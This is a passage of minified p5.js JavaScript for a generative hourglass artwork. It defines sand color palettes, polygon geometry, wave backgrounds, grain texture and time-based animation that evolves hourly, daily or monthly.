or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
